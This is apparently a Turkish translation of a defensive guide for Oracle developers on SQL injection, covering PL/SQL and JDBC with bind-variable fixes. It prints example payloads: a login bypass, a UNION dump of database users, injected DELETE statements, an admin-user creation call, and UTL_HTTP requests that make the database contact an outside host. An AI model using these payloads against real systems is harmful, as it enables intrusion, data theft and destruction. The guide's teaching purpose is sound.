Oracle Geliştiricileri için SQL Injection Saldırıları ve Korunma Yöntemleri
Giriş
Arka-planda Oracle veritabanı kullanan çoğu uygulama geliştiricisi SQL Injectionii saldırıları riskini hafife alıyor. Yaptığımız web uygulama denetimlerinde çoğü web uygulama geliştiricisinin SQL Injection saldırılarının risklerini ve bu tip saldırıları engellemede kullanılan basit teknikleri tam olarak anlamadığını gördük.
Bu doküman uygulama geliştiricileri, veritabanı yöneticileri ve uygulama denetleyicilerine SQL Injection saldırıları risklerini anlatmakta ve web uygulamalarının neden açıklar içerdiğini örneklerle göstermektedir. SQL saldırıları yapılması için hazırlanmamıştır ve bu tip saldırıları yapmak için bilgiler içermemektedir.
SQL Injection Genel Bilgi
Direk veritabanı bağlantısı olan, stored procedure çalıştıran, Oracle Forms uygulamaları, web uygulamaları gibi herhangi bir program veya uygulama SQL Injection saldırısından etkilenebilir. Çeşitli SQL Injection açıkları DBMS_DATAPUMP, DBMS_REGISTRY veDBMS_METADATA (ocak 2006 oracle kritik yama güncellemesine göz atın) gibi standart Oracle veritabanı paketlerinde bulunmuştur. Saldırganlar uzaktan herhangi bir veritabanı veya uygulama kimlik doğrulaması gerektirmeden SQL Injection saldırıları gerçekleştirebildiğinden web uygulamaları yüksek risk altındadır.
Oracle, kullanan çoğu uygulama geliştiricisinin düşündüğünden daha fazla SQL Injection saldırılarından etkilenmektedir. Yaptığımız uygulama denetimlerinde söz konusu uygulamaların, geliştirilmesinde iyi oluşturulmuş kodlama standartları kullanılmasına rağmen SQL Injection saldırılarından etkilendiğini gördük. En çok endişe yaratan fonksiyon-tabanlı SQL Injection saldırılar çünkü bu saldırılar uygulama bilgisi gerektirmiyor ve kolaylıkla otomatikleştirilebilir.
SQL Injection saldırıları basit kodlama teknikleri ile kolayca engellenebilirler. Fakat tüm dinamik SQL sorgularına geçirilen tüm parametreler kontrol edilmeli veya bind değişkenleri kullanılmalı.
SQL Injection: Oracle diğer veritabanlarına karşı
Oracle genelde SQL Injection saldırılarına karşı daha iyidir çünkü birden fazla SQL komutu desteği yoktur (SQL Server ve PostgreSQL), EXECUTE komutu yoktur (SQL Server), ve INTO OUTFILE fonksiyonu yoktur (MySQL) - SQL Injection açıklarından yararlanmada kullanılan çoğu metod kullanılamaz. Ek olarak performans amaçlı kullanılan bind değişkenleri kullanımı SQL Injection saldırılarına karşı en etkili korumayı sağlar.
Oracle SQL Injection için diğer veritabanlarından daha az sayıda saldırı vektörüne sahip olabilir fakat düzgün savunmaya sahip olmayan Oracle-tabanlı uygulamalar kolayca SQL Injection saldırılarından etkilenebilirler.
Uygulama Geliştirme
Uygulamalar Oracle veritabanına bağlanmada çeşitli metodlar kullanarak geliştirilebilirler - bu metodlardan bazıları SQL Injectionda diğerlerinden daha fazla açık içeriyor olabilir. Bu doküman web tabanlı uygulamalarda sıklıkla kullanılan birkaç programlama dili ve uygulama mimarisine odaklanmaktadır, fakat, belirtilen teknikler çoğu programlama dili ve uygulama mimarisine uyacaktır.
Doküman Oracle veritabanına bağlantıda Java ve JDBC kullanan veya PL/SQL programlama dili kullanan uygulamalara odaklanmaktadır. Bunların oracle veritabanı kullanan web-tabanlı uygulamalarda en genel kullanılan iki metod olduğuna inanıyoruz.
SQL INJECTION
Giriş
SQL Injection saldırıları yapıları itibarı ile basittirler - bir saldırgan kendisine yarayacak şekilde SQL sorgusunu değiştirmeye yönelik olarak bir string girdisi gönderir. Saldırının karmaşıklığı saldırgan tarafından bilinmeyen bir SQL sorgusunun exploit edilmesini içerir. Açık-kaynak kodlu uygulamalar veya kaynak kodu ile sunulan ticari uygulamalar, saldırı öncesi açıklarının tespit edilebileceği için, bu saldırılardan daha çok etkilenmektedir.
SQL Injection saldırıları kategorileri
Oracle veritabanlarına yapılan SQL Injection saldırıları dört ana kategoride toplanabilir:
1. SQL değiştirme
2. Kod enjeksiyon
3. Fonksiyon çağrısı enjeksiyon
4. Hafıza taşması
İlk iki kategori tüm veritabanı tiplerine yapılan saldırılarda en genel kullanılan saldırılar olduğu için iyi bilinmektedir.
SQL değiştirme basitçe SQL sorgusunun çeşitli işlemlerle (ör UNION) veya WHERE şartında değişiklik ile farklı sonuçların döndürülmesini içerir. Daha önce yazılmış olan pek çok SQL Injection saldırısı bu tiptedir. EN çok bilinen saldırı kullanıcı kimlik doğrulama sorgusunda WHERE şartını her zaman doğru değer dönecek şekilde değiştirmektir.
Kod enjeksiyon saldırganın SQL sorgusuna yeni SQL sorguları veya veritabanı komutları yerleştirmesini içerir. Klasik kod enjeksiyon saldırılarına örnek olarak SQL sunucusu EXECUTE komutu verilebilir. Kod enjeksiyon, eğer bir veritabanı isteğinde birden fazla SQL sorgusu gerçekleştirilmesi destekleniyorsa çalışır. SQL Server ve PostgreSQL bu yeteneğe sahiptir ve bazı durumlarda Oracle'da da birden fazla SQL sorgusu enjekte edilebilmektedir. Oracle kod enjeksiyon açıkları SQL'in PL/SQL'de dinamik çalıştırılmasını içerir.
Son iki kategori daha çok Oracle veritabanına yönelik saldırılardır ve çok fazla bilinmemekte ve dokümante edilmemektedir. Yaptığımız denetimlerin çoğunda uygulamaların bu iki saldırı tipiinden etkilendiğini gördük.
Fonksiyon çağrı enjeksiyonu Oracle veritabanı fonksiyonları veya özel fonksiyonların etkilenen bir SQL sorgusuna eklenmesini içerir. Bu fonksiyon çağrıları işletim sistemi çağrıları yapmada veya veritabanındaki verileri değiştirmede kullanılabilir.
Hafıza taşması SQL Injection saldırıları da fonksiyon çağrı enjeksiyonu saldırıların bir alt koludur. Çeşitli ticari ve açık-kaynak veritabanlarında, az sayıda birkaç veritabanı fonksiyonunda hafıza taşmasına yol açan açıklar bulunmakta. Bu açıkların çoğu için yamalar var fakat production ortamındaki çoğu veritabanı yaması geçilmemiş durumda.
Neler Açıktan Etkilenir
Bir web uygulaması sadece bir sebepten SQL Injection açığı içerir - son kullanıcı tarafından sağlanan girişlerin doğru olarak kontrol edilmeden dinamik SQL sorgularına geçirilmesi. Genelde kullanıcı girdisi direk olarak SQL sorgusuna geçirilir. Fakat bazı durumlarda kullanıcı girişi veritabanında depolanarak daha sonra bir dinamik SQL sorgusuna geçirilebilir, bu da ikinci-sıra SQL Injection olarak adlandırılır. Çoğu web uygulamasının durumsuz (stateless) yapısı nedeniyle, veriyi veritabanına yazmak veya web sayfaları arasında başka yollarla depolanması çok sık görülür. Saldırının bu endirek tipi çok daha karmaşıktır ve genelde uygulama hakkında geniş bilgi sahibi olunmasını gerektirir.
Neler Açıktan Etkilenmez
İçeriği hiçbir şekilde yorumlayamayacağından bind değişkenlerinin kullanımı SQL Injection'a karşı koruma sağlar. PL/SQL ve JDBC bind değişkenlerini destekler. Bind değişkenleri hem performans hemde güvenlik için kullanılmalıdırlar.
SQL Injection metodları
Oracle veritabanlarında kullanılabilen 4 tipte SQL Injection saldırısı vardır. İlk iki tip - SQL değiştirme ve kod enjeksiyon - en çok bilinen ve dokümante edilenlerdir. Fakat fonksiyon çağrısı enjeksiyon ve hafıza taşması saldırıları pek dokümante edilmemiştir ve çoğu uygulama da bu tip saldırılardan etkilenir.
Bu bölümde kullanılan örnekler hakkında:
Bu bölümde farklı tipte SQL Injection metodlarını örneklendirmek için sql sorguları kullanılmıştır. Programlam dilinden bağımsız olmak için, sadece geliştirici tarafından amaçlanan ve saldırgan tarafından değiştirilmiş sql sorguları sunulmaktadır. Kırmızı ile işaretlenen yerler geliştiricinin beklediği ve saldırganın girdiği değerleri belirtmektedir.
SQL değiştirme
SQL Injection saldırısının en çok kullanılan tipi SQL değiştirmedir. Saldırgan mevcut SQL sorgusundaki WHERE şartına elementler ekleyerek veya UNION, INTERSECT, MINUS gibi operatörler ile SQL sorgusunu genişleterek değiştirmeye çalışır. Başka varyasyonlarda mümkündür fakat bunlar en belirgin örneklerdir.
Klasik SQL değiştirme login kimlik doğrulama işlemindedir. Basit bir web uygulaması kullanıcı kimlik doğrulaması kontrolü için aşağıdaki sorguyu çalıştırır ve bir sıranın dönüp dönmediğini kontrol eder:
SELECT * FROM uyeler
WHERE kullanici = 'ahmet' and PASSWORD = 'zappa'
Saldırgan aşağıdaki şekilde bir değişiklik yapar:
SELECT * FROM uyeler
WHERE kullanici = 'ahmet' and PASSWORD = 'zappa' or 'a' = 'a'
Operatör önceliğine dayalı olarak WHERE şartı her sıra için doğrudur ve saldırgan uygulamaya erişim sağlar.
UNION operatörü de SQL Injection saldırılarında sıklıkla kullanılır. Amaç SQL sorgusunun başka bir tablodan (table) sıralar dönmesini sağlamaktır. Bir web formu mevcut ürünlerin listesi için aşağıdaki gibi bir sorgu çalıştırabilir:
SELECT urun_ismi FROM tum_urunler
WHERE urun_ismi like '%Fender%'
Saldırgan aşağıdaki şekilde değişiklik yapabilir:
SELECT urun_ismi FROM tum_urunler
WHERE urun_ismi like '%Fender'
UNION
SELECT username FROM dba_users
WHERE username like '%'
Web formuna dönülen liste tüm seçili ürünlerin yanında tüm veritabanı kullanıcılarını da içerecektir.
Kod Enjeksiyon
Kod enjeksiyon saldırıları mevcut sql sorgusuna ek sql sorguları eklemeyi hedefler. Bu tipteki ataklar genelde Microsoft SQL sunucusuna karşı kullanılır fakat nadiren Oracle veritabanında da kullanılabilir. SQL sunucusundaki EXECUTE komutu en çok kullanılan komuttur ve bunun Oracle da bir karşılığı yoktur.
PL/SQL ve Java da, Oracle bir istekte birden fazla sql sorgusunu desteklemez. Bu sebeple aşağıdaki, sık rastlanan enjeksiyon saldırısı Oracle veritabanında işe yaramaycaktır ve bir hata dönmesine yol açacaktır:
SELECT * FROM uyeler
WHERE kullanici = 'ahmet' and PASSWORD = 'zappa'; DELETE FROM uyeler
WHERE kullanici = 'admin';
Fakat, bazı programlama dilleri veya API'ler birden fazla SQL sorgusunun çalıştırılmasına izin verebilir.
PL/SQL ve Java uygulamaları kod enjeksiyondan etkilenen anonim PL/SQL bloklarını dinamik olarak çalıştıracaktır. Aşağıda bir web uygulamasında çalıştırılan PL/SQL bloğu örneği görülebilir:
BEGIN ENCRYPT PASSWORD('ahmet', 'zappa'); END;
Yukarıdaki PL/SQL blok örneği uygulamada depolanan bir prosedürü çalıştıracak ve kullanıcı şifresini kriptolayıp kaydedecektir. Saldırgan bunu aşağıdaki şekilde değiştirebilir:
BEGIN ENCRYPT PASSWORD('ahmet', 'zappa'); DELETE FROM uyeler
WHERE upper(kullanici) = upper('admin'); END;
Fonksiyon çağrısı enjeksiyon
Fonksiyon çağrısı enjeksiyon etkilenen bir SQL sorgusuna Oracle veritabanı fonksiyonları veya özel fonksiyonların yerleştirilmesini içerir. Bu fonksiyon çağrıları işletim sistemi çağrıları yapmada veya veritabanındaki verileri değiştirmede kullanılabilir.
Oracle veritabanı fonksiyonların veya paketlerdeki fonksiyonların SQL sorgusunun parçası gibi çalıştırılmasına izin verir. Varsayılan olarak, Oracle 175 standart veritabanı paketinde 1,000'in üzerinde fonksiyon ile gelir fakat bu fonksiyonların çok azı SQL Injection saldırılarında kullanılabilir. Bu fonksiyonlardan ağ haberleşmesi gerçekleştiren bazıları saldırılardan etkilenebilir. Özel hazırlanmış bir fonksiyon veya özel hazırlanmış bir paket içerisindeki herhangi bir fonksiyon da SQL sorgusunda çalıştırılabilir.
SQL SELECT sorgusunun bir parçası olarak çalıştırılan fonksiyonlar, eğer fonksiyon PRAGMA TRANSACTION olarak işaretlenmemişse, veritabanında bir değişiklik yapamazlar. Standart Oracle fonksiyonlarının çok azı otonom transaction olarak çalıştırılır. INSERT, UPDATEveya DELETE sorgularında çalıştırılan fonksiyonlar veritabanındaki verileri değiştirebilirler.
Bir saldırgan Standart Oracle fonksiyonlarını kullanarak veritabanındaki bilgileri uzaktaki bir bilgisayara gönderebilir veya veritabanı sunucusundan diğer saldırıları gerçekleştirebilirler. Çoğu Oracle-tabanlı uygulama saldırganlar tarafından kullanılabilecek veritabanı paketleri içerir. Bu özel paketler şifre değiştirme fonksiyonları veya diğer bazı önemli uygulama transaction'larını gerçekleştiren fonksiyonlar içerebilirler.
Fonksiyon çağrı enjeksiyondaki en önemli konu herhangi bir dinamik yaratılmış SQL sorgusunun etkilenmesidir - En basit sql sorguları bile, aşağıdaki örnekte de görülebileceği gibi, büyük etki yaratacak şekilde kullanılabilir. Uygulama geliştiricileri bazen genel işlemleri yapmak için Java gibi native kod yerine veritabanı fonksiyonlarını kullanırlar. TRANSLATE veritabanı fonksiyonunun Java'da direk bir karşılığı yoktur ve bu sebeple geliştirici aşağıdaki gibi bir sql sorgusu kullanır:
SELECT TRANSLATE('kullanici girdisi',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;
Bu SQL sorgusu diğer tipteki enjeksiyon saldırılarından etkilenmez fakat bir fonksiyon enjeksiyon saldırısı için kolayca değiştirilebilir. Saldırgan aşağıdaki gibi bir değişiklik yapabilir:
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;
Değiştirilmiş SQL sorgusu bir web sunucusundan bir web sayfası isteği yapacaktır. Saldırgan string ve URL'yi diğer fonksiyonları içerecek şekilde değiştirebilir ve URL'deki web sunucusuna gönderebilir. Oracle veritabanı sunucusu büyük ihtimalle güvenlik duvarı arkasında olacağından iç ağdaki diğer sunuculara saldırıda da kullanılabilir.
Özel hazırlanmış fonksiyonlar ve özel hazırlanmış paketler içerisindeki fonksiyonlarda çalıştırılabilir. Örnek olarak özel paket MYAPPADMIN içerisinde ADDUSER fonksiyonu içeren bir uygulama olsun. Uygulamanın karşılaşabileceği özel şartlarda dahi çalışabilmesi için uygulama geliştirici fonksiyonu PRAGMA TRANSACTION olarak işaretler. Bu şekilde işaretlendiğinde de SELECT sorgusunda bile veritabanına veri yazabilir.
SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;
Yukarıdaki SQL sorgusu ile saldırgan yeni uygulama kullanıcıları yaratabilir.
Hafıza Taşmaları
Standart Oracle veritabanı fonksiyonlarından bazıları hafıza taşmasından etkilenmektedir. Standart veritabanı paketlerinin yanındaTZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL ve NUMTODSINTERVAL gibi standart veritabanı fonksiyonlarında da hafıza taşması açıkları olduğu bilinmektedir.
Belirtilen fonksiyonları kullanılarak yapılan hafıza taşması daha önce tanımlanan fonksiyon enjeksiyon metodları kullanılarak gerçekleştirilir. Bir SQL Injection saldırısı ile hafıza taşması oluşturarak işletim sistemine uzaktan erişim kazanılabilir.
Ek olarak, bazı uygulamalar ve web sunucuları hafıza taşması sonucu kopan veritabanı bağlantısını doğru olarak işleyemez. Genelde istemci ile bağlantı sonlanana kadar web işlemi kilitlenir ve sonucunda servis kullanımı engelleme (denial of service) saldırısı gerçekleştirilmesi mümkün olabilir.
PL/SQL
Giriş
Oracle veritabanı stored prosedürleri PL/SQL ağ geçidinden veya JDBC'nin callablestaement'ı kullanılarak direk olarak çağrılabilir. PL/SQL ağ geçidi (modplsql) web uygulamalarının veritabanı stored prosedürlerini kullanarak gelişritilmesine izin veren Apache eklentisidir. Modplsql Oracle Application Server ile birlikte gelmekte ve bazı ticari uygulamalarda kullanılmaktadır. Veritabanı fonksiyonlarındaki, prosedürlerdeki ve paketlerdeki SQL Injection açıkları SQL*Plus üzerinden direk SQL*Net bağlantısı ile veya diğer veritabanı araçları ile gerçekleştirilebilir.
SQL sorguları PL/SQL'de 4 farklı yolla çalıştırılabilirler - (1) gömülü (embedded) SQL, (2) cursor'lar, (3) execute immadiate komutu, veya (4) DBMS_SQL paketi . Gömülü SQL sorguları ve statik cursor'lar derlenmiştir ve sadece bind değişkenlerine izin verirler, fakat, dinamik cursor'lar SQL Injection saldırlarından etkilenebilirler. Execute immadiate ve DBMS_SQL dinamik SQL'e izin verir, bu sebeple eğer bind değişkenleri kullanılmıyorsa SQL Injection saldırılarından etkilenirler.
SQL Injection açısından bakıldığında, DBMS_SQL ve execute immediate arasında çok az fark vardır - her ikisi de eşit derecede açıktan etkilenirler. DBMS_SQL paketi dinamik SQL için daha eski bir metoddur ve artık yerine execute immediate kullanılmaktadır. Bazı uygulamalar bu ikisinin kombinasyonunu kullanırlar.
Dinamik SQL ile ilgili daha fazla bilgi için Oracle Veritabanı PL/SQL kullanıcı rehberi ve referansı belgesinde "Native Dynamic SQL" bölümüne göz atabilirsiniz.
Execute Immediate komutu
execute immediate komutu PL/SQL kodunda dinamik SQL çalıştırılmasında kullanılır. Komut bind değişkenlerine tam destek sağlar fakat birbirine eklenmiş string'ler kullanılarak da çalıştırılabilir.
execute immediate yazımı aşağıdaki gibidir:
EXECUTE IMMEDIATE dynamic_string
[INTO {define_variable[, define_variable]... | record}]
[USING [IN | OUT | IN OUT] bind_argument
[, [IN | OUT | IN OUT] bind_argument]...]
[{RETURNING | RETURN} INTO bind_argument[, bind_argument]...];
SQL Injection saldırısından etkilenebilecek bir execute immediate sorgusu aşağıdaki gibi olabilir:
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
sqlstr VARCHAR2(1000);
code VARCHAR2(100);
BEGIN
...
sqlstr := 'SELECT postal-code FROM states WHERE state-name = ''' || name || '''';
EXECUTE IMMEDIATE sqlstr INTO code;
IF code = 'IL' THEN ...
...
END;
Bazıları yukarıdaki örnekteki SELECT sorgusunun SQL Injection saldırısında işe yarayıp yaramayacağını düşünebilir. Eğer bir PL/SQL bloku kullanılmadıysa (ör. BEGIN...END), execute immediate set operasyonları (ör UNION) kullanımına veya başka bir SQL sorgusunu eklenmesine izin vermez. WHERE şartının değiştirilmesi muhtemelen fazla birşey sağlamayacaktır. Fakat, bu sorgu standart veritabanı fonksiyonları (ör UTL_HTTP) veya bilinen fonksiyonlar eklenerek hafıza taşması yaratılmasında kullanılabilir.
SQL Injectionu engelleme ve uygulama performansını artırmak için bind değişkenleri her zaman kullanılmalıdır.
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
sqlstr VARCHAR2(1000);
code VARCHAR2(100);
BEGIN
...
sqlstr := 'SELECT postal-code FROM states WHERE state-name = :name';
EXECUTE IMMEDIATE sqlstr USING name INTO code;
IF code = 'IL' THEN ...
...
END;
Execute immediate anonim PL/SQL blokları içinde kullanılabilir. Anonim PL/SQL blokları, saldırgan birden fazla PL/SQL komutu ve sql sorgusu ekleyebileceğinden SQL Injection'dan daha fazla etkilenmektedir.
CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS
BEGIN
...
-- vulnerable
EXECUTE IMMEDIATE 'BEGIN updatepass(''' || value || '''); END;';
-- not vulnerable
cmd := 'BEGIN updatepass(:1); END;';
EXECUTE IMMEDIATE cmd USING value;
...
END;
DBMS_SQL Pakedi
DBMS_SQL pakedi dinamik SQL sorgularının çalıştırılmasını sağlar. DBMS_SQL execute immediate'den çok daha karmaşıktır fakat basitçe aynı fonksiyonu gerçekleştirir.
execute immediate'de olduğu gibi SQL string'lerini birleştirmek yerine her zaman bind değişkenleri kullanılmalıdır.
DBMS_SQL kullanan bu prosedür enjeksiyon saldırılarından etkilenmektedir:
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
cursor_name INTEGER;
rows_processed INTEGER;
sqlstr VARCHAR2(150);
code VARCHAR2(2);
BEGIN
...
sqlstr := 'SELECT postal-code FROM states WHERE state-name = ''' || name || '''';
cursor_name := dbms_sql.open_cursor;
DBMS_SQL.PARSE(cursor_name, sqlstr, DBMS_SQL.NATIVE);
DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10);
rows_processed := DBMS_SQL.EXECUTE(cursor_name);
DBMS_SQL.CLOSE_CURSOR(cursor_name);
...
END;
Bind değişkenleri kullanan aynı fonksiyon saldırılardan etkilenmemektedir:
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
cursor_name INTEGER;
rows_processed INTEGER;
sqlstr VARCHAR2;
code VARCHAR2;
BEGIN
...
sqlstr := 'SELECT postal-code FROM states WHERE state-name = :name';
cursor_name := dbms_sql.open_cursor;
DBMS_SQL.PARSE(cursor_name, sqlstr, DBMS_SQL.NATIVE);
DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10);
DBMS_SQL.BIND_VARIABLE(cursor_name, ':name', name);
rows_processed := DBMS_SQL.EXECUTE(cursor_name);
DBMS_SQL.CLOSE_CURSOR(cursor_name);
...
END;
Dinamik Cursor'lar
PL/SQL statik ve dinamik cursor'lara izin verir. Cursor sql sorguları execute immediate veya DBMS_SQL sorguları gibi dinamik olarak yaratılabilirler. Dinamik cursor'lar sıklıkla kullanılmazlar, bu sebeple kod denetimlerinde gözden kaçabilirler.
CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS
sqlstr VARCHAR2;
...
BEGIN
...
sqlstr := 'SELECT * FROM states WHERE state-name = ''' || name || '''';
OPEN cursor_states FOR sqlstr;
LOOP
FETCH cursor_states INTO rec_state
EXIT WHEN cursor_states%NOTFOUND;
...
END LOOP;
CLOSE cursor_status;
...
END;
execute immediate ve DBMS_SQL de olduğu gibi bind değişkenleri kullanımı SQL Injection saldırılarını engeller.
JDBC
Giriş
JDBC (Java Database Connectivity) Java'dan ilişkisel (relational) veritabanlarına bağlantı için standart bir Java arabirimidir. JDBC pek çok Java geliştirme mimarilerinde Oracle veritabanlarına bağlanmada kullanılır. Java Server Pagesi (JSPi), Java Servlet'ler ve Enterprise Java Beans (EJB) veritabanı bağlantısı için JDBC kullanır.
Dizayn itibariyle bir JDBC uygulamasındaki tüm SQL sorguları dinamiktir. Dinamik SQL, Statement arabirimi ile çalıştırılır, spesifik olarak, CallableStatement ve PreparedStatement alt arabirimleri ile. SQL Injection açısından, CallableStatement ve PreparedStatement arabirimleri SQL Injection'dan etkilenebilir. Oracle'da, PreparedStatement çağrısında sadece tek bir SQL sorgusu çalıştırılır. Diğer veritabanları (ör. SQL Server) tek bir çağrıda birden fazla SQL sorgusu destekleyebilir.
PreparedStatement
PreparedStatement arabirimi dinamik SQL sorguları çalıştırmada kullanılır. Standart JDBC PreparedStatement arabirimi kullanılabilir veya eğer Oracle spesifik veri tipleri kullanılıyorsa ya da diğer Oracle eklentilerine ihtiyaç varsa OraclePreparedStatement kullanılabilir.
SQL Injection'dan etkilenen bir PreparedStatement aşağıdaki gibi olabilir:
String name = request.getParameter("name");
PreparedStatement pstmt =
conn.prepareStatement("insert into EMP (ENAME) values ('" + name + "')");
pstmt.execute();
pstmt.close();
SQL Injectionu önlemek için bind değişkeni kullanılmalıdır:
PreparedStatement pstmt =
conn.prepareStatement ("insert into EMP (ENAME) values (?)");
String name = request.getParameter("name");
pstmt.setString (1, name);
pstmt.execute();
pstmt.close();
CallableStatement
CallableStatement arabirimi PL/SQL stored prosedürlerini ve anonim PL/SQL bloklarını çalıştırmada kullanılır. Standart JDBC CallableStatement arabirimi kullanılabilir veya eğer Oracle spesifik veri tipleri kullanılıyorsa ya da diğer Oracle eklentilerine ihtiyaç varsa OracleCallableStatement kullanılabilir.
CallableStatement iki basit forma sahiptir:
Stored Procedure ve Fonksiyon Çağrıları
prepareCall( "{call proc (?,?)}" );
Anonim PL/SQL Blok Çağrıları
prepareCall("begin proc1(?,?); ? := func1(?); ...; end;");
Anonim PL/SQL blok çağrıları SQL Injection saldırılarından daha çok etkilenir çünkü birden fazla SQL sorgusu ve PL/SQL komutları eklenebilir.
SQL Injection'dan etkilenen bir PL/SQL bloğu:
String name = request.getParameter("name");
String sql = "begin ? := GetPostalCode('" + name + "'); end;";
CallableStatement cs = conn.prepareCall(sql);
cs.registerOutParameter(1, Types.CHAR);
cs.executeUpdate();
String result = cs.getString(1);
cs.close();
Bir saldırgan aşağıdaki SQL sorgusunu
begin ? := GetPostalCode('Illinois'); end;
uygulama geliştiricinin beklemediği bir şekilde aşağıdaki gibi değiştirebilir:
begin ? := GetPostalCode(''); delete from users; commit; dummy(''); end;
begin ? := GetPostalCode(''||UTL_HTTP.REQUEST('http://192.168.1.1/')||''); end;
Çözümü basitçe bind değişkeni kullanmaktır:
String name = request.getParameter("name");
CallableStatement cs = conn.prepareCall ("begin ? := GetStatePostalCode(?); end;");
cs.registerOutParameter(1,Types.CHAR);
cs.setString(2, name);
cs.executeUpdate();
String result = cs.getString(1);
cs.close();
SQL Injection'a karşı koruma
SQL Injection saldırıları basit programlama değişiklikleri ile kolayca engellenebilir, fakat, uygulama geliştiriciler aşağıdaki metodları tüm webden erişilebilen prosedür ve fonksiyonlara uygulamayı benimsemelidirler. Tüm dinamik SQL sorguları korunmalıdır. Tek bir korunmamış SQL sorgusu tüm uygulamanın, verinin veya veritabanı sunucusunun ele geçirilmesi ile sonuçlanabilir.
Bind Değişkenleri
SQL Injection saldırılarına karşı en güçlü korumayı bind değişkenleri kullanımı sağlar. Bind değişkenleri kullanımı aynı zamanda uygulama performansının da artmasını sağlar. Uygulama kodlama standartları tüm SQL sorgularında bind değişkenleri kullanımını gerektirmelidir. Hiçbir SQL sorgusu string'leri bir araya getirerek ve parametreleri geçirerek yaratılmamalıdır.
Bind değişkenleri SQL sorgusunun nerde ve ne zaman kullanıldığına bağlı olmadan kullanılmalıdır. Bu Oracle'ın kendi içinde kullandığı kodlama standartıdır ve sizin firmanızda da bu standart olmalıdır. Çok karmaşık bir SQL Injection saldırısı bir saldırı string'ini veritabanında depolayarak daha sonra bir dinamik SQL sorgusunda çalıştırılmasını hedefleyebilir (second-order saldırı olarak adlandılır).
PL/SQL ve JDBC ile ilgili bölümlerde SQL enjeksiyoni açıklarını yoketmek için nasıl bind değişkeni kullanılacağı örnekleri verildi. Bind değişkenleri kullanımı basittir, fakat her bir değişken için bir satır fazla kod gerektirir. Tipik bir SQL sorgusu 10-20 değer kullanabileceği için ek kodlama fazla bir yük getirmeyecektir.
Bir geliştiricinin nadir durumlarda dinamik olarak SQL sorgusu yaratması gerekebilir. Bu tip durumlara aşağıdaki bölümde değinilmektedir.
Giriş Onaylama
Geçirilen her string parametresi kontrol edilmelidir. Çoğu web uygulamasında kontrol edilmesi gereken gizli form alanları (hidden) vb teknikler kullanılır. Eğer bir bind değişkeni kullanılmıyorsa özel veritabanı karakterleri çıkarılmalı veya yorumlanmayacak hale getirilmelidir.
Oracle veritabanları için problem ' karakterindedir. En basit metod tüm ' karakterlerinin escape edilmesi işlemidir - Oracle birbirini takip eden ' karakterlerini tek bir ' olarak yorumlar.
Aynı string için hem bind değişkeni kullanımı hemde ' escape işlemi kullanılmamalıdır. Bind değişkeni girilen string'i tamamen aynı şekilde veritabanında depolar ve ' escape işlemi '' karakterlerinin veritabanında depolanmasına yol açar.
Fonksiyon güvenliği
Standart ve özel hazırlanmış veritabanı fonksiyonları SQL Injection saldırılarından etkilenebilir. Bu fonksiyonların çoğu saldırılarda efektif olarak kullanılabilir. Oracle yüzlerce standart fonksiyonla gelir ve varsayılan olarak PUBLIC'e imtiyazları vardır. Uygulamanın saldırılardan etkilenen şifre değiştirme veya kullanıcı yaratma işlemleri gerçekleştiren ek fonksiyonları da olabilir.
Uygulama için gerekli olmayan tüm fonksiyonlara erişim kısıtlanmalıdır.
Bölüm 8'de bir veritabanı kullanıcısının erişebileceği fonksiyonları belirlemek için detaylı bilgi içermektedir.
Hata Mesajları
Eğer bir saldırgan uygulama kaynak kodunu ele geçiremezse, hata mesajları onun için son derece önemlidir. Çoğu Java uygulaması detaylı hata mesajları dönmez fakat uygulamanın detaylı hata mesajları dönüp dönmediği mutlaka test ve analizlerle kontrol edilmelidir. Kullanıcıya detaylı veritabanı hata mesajları dönmek yerine bu mesajlar bir log dosyasına yazılmalıdır.
PL/SQL Ağ Geçidi (modplsql)
PL/SQL ağ geçidi çeşitli hata mesajı seviyelerini gösterecek şekilde konfigüre edilebilir. Hata mesajında ne kadar çok bilgi dönülürse saldırgana o kadar çok yarar sağlayacaktır. Tüm PL/SQL ağ geçidi uygulamaları, bir Oracle hatası ile karşılaşıldığında ağ geçidi yerine uygulama tarafından yaratılan bir hata sayfası dönecek şekilde dizayn edilmelidir.
Fakat, prosedür bulunamadı gibi bazı hatalar ağ geçidi tarafından döndürülmelidir. wdbsvr.app konfigürasyon dosyasındaki ERROR_STYLE ayarı kullanıcıya dönülen bilgi seviyesini belirler. Bu tip hatalar genelde normal uygulama işleminden çok saldırganların denemelerinden oluştuğundan sadece minimum bilgi döndürülmeli veya hiç bir bilgi döndürülmemelidir. ERROR_STYLE parametresi "Gateway" veya "GatewayDebug" yerine "WebServer" olarak set edilmelidir. ERROR_STYLE global olarak veya DAD seviyesinde set edilebilir, bu sebeple konfigürasyon dosyasındaki her iki bölüm de kontrol edilmelidir.
İstisnalar
Bind değişkenleri PL/SQL ve Java'da tüm dinamik SQL sorgularında kullanılmalıdırlar. Fakar, tablo veya kolon isimlerini dinamik olarak include etme gibi bazı nadir durumlarda bind değişkenleri kullanılamazlar.
Dinamik tablo isimleri ve Where şartları
Bir dinamik SQL sorgusu yaratırken bind değişkenleri tablo veya kolon isimleri için kullanılamazlar. Çoğu uygulamada, geçerli veritabanı nesne isimleri (ör tablo ve kolon isimleri) sadece alfanümerik karakterler, _ , $ ve # işareti içerebilirler. Tek tırnak ve diğer özel karakterler geçerli değildir.
Tüm dinamik tablo veya kolon isimleri kontrol edilmeli ve en başta tek tırnak olmak üzere tüm geçersiz karakterler string'den çıkarılmalıdır.
PL/SQL'de TRANSLATE fonksiyonu bir obje isminden geçersiz karakterleri çıkarmada kullanılabilir:
translate(upper(<input string>),
'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@. `~!%^*()-=+{}[];":''?/><,|\',
